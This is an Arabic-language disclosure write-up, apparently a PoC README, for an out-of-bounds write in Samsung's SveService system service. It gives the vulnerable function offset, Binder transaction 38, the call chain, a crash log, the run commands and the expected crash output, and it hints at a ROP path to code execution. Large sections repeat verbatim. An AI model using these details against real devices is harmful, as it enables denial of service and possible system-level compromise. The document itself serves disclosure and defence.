
PoC بسيط لثغرة تجاوز سعة المخزن المؤقت في خدمة SveService من Samsung، يوضح كتابة خارج الحدود عبر Binder لإسقاط خدمة نظام Android بدون أذونات خاصة.
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
الإصدارات المتأثرة: Android 14 و15 و16
حالة الإفصاح: إفصاح خاص
تسمح الكتابة خارج الحدود في SveService قبل SMR May-2026 Release 1 للمهاجمين المحليين ذوي الصلاحيات بتنفيذ كود عشوائي.
يضيف التصحيح تحققًا سليمًا من المدخلات.
ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة Samsung التي تعمل بنظام Android 16. تعمل الخدمة بصلاحيات system (UID 1000) ويمكن الوصول إليها دون أي صلاحية خاصة عبر Binder.
| المكوّن | الدور | الإصدار |
|---|---|---|
sveservice.apk | خدمة Android | API 36 |
libsvejni.so | مكتبة ARM64 أصلية | معرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9 |
في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُمرَّر المعاملات i18 وi19 وi20 (المستلمة من AIDL كـ i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرةً إلى memset وsub sp, sp, xN (alloca) وmemcpy دون أي تحقق من الحجم.
تتحقق الدوال المماثلة (GetVersion وEnableSRTP وSetSRTPParams وSetGcmSrtpParams) باستخدام cmp w20, #0x1e; b.gt (رفض القيم الأكبر من 30 بايت). أما SetCodecInfo فلا تتحقق إطلاقًا.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
المخرجات المتوقعة:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() عبر app_process بصلاحية shell UID.signatureOrSystem غير مفعّلة — تُسجَّل الخدمة مباشرةً عبر ServiceManager.addService()، متجاوزةً آلية الأذونات في Android.memset بالقيمة 0xFFFFFFFF يسبب انهيارًا دائمًا. يتطلب استغلال RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة Samsung التي تعمل بنظام Android 16. تعمل الخدمة بصلاحيات system (UID 1000) ويمكن الوصول إليها دون أي صلاحية خاصة عبر Binder.
| المكوّن | الدور | الإصدار |
|---|---|---|
sveservice.apk | خدمة Android | API 36 |
libsvejni.so | مكتبة ARM64 أصلية | معرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9 |
في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُستخدم المعاملات i18 وi19 وi20 (المستلمة من AIDL كـ i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرةً كوسائط لـ memset وsub sp, sp, xN (alloca) وmemcpy دون أي تحقق من الحجم.
تتحقق الدوال المماثلة الأخرى (GetVersion وEnableSRTP وSetSRTPParams وSetGcmSrtpParams) باستخدام cmp w20, #0x1e; b.gt (ترفض القيم > 30 بايت). أما SetCodecInfo فلا تتحقق من أي شيء.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
المخرجات المتوقعة:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() عبر app_process بصلاحية UID الخاصة بـ shell.signatureOrSystem غير مطبّقة — تُسجَّل الخدمة مباشرةً عبر ServiceManager.addService()، متجاوزةً فحص الأذونات.memset بالقيمة 0xFFFFFFFF ينهار دائمًا. يتطلب استغلال RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).| العملية | القيمة | التأثير |
|---|
(i18 + 15) & ~15 | 0 | تخصيص 0 بايت |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | يحاول تصفير 4 جيجابايت → SIGSEGV |
sxtw(i18) لـ memcpy | 0xFFFFFFFFFFFFFFFF | تمديد إشارة -1 → ~18 إكسابايت |
| العملية | القيمة | التأثير |
|---|
(i18 + 15) & ~15 | 0 | تخصيص 0 بايت |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | يحاول تصفير 4 جيجابايت → SIGSEGV |
sxtw(i18) لـ memcpy | 0xFFFFFFFFFFFFFFFF | تمديد إشارة -1 → ~18 إكسابايت |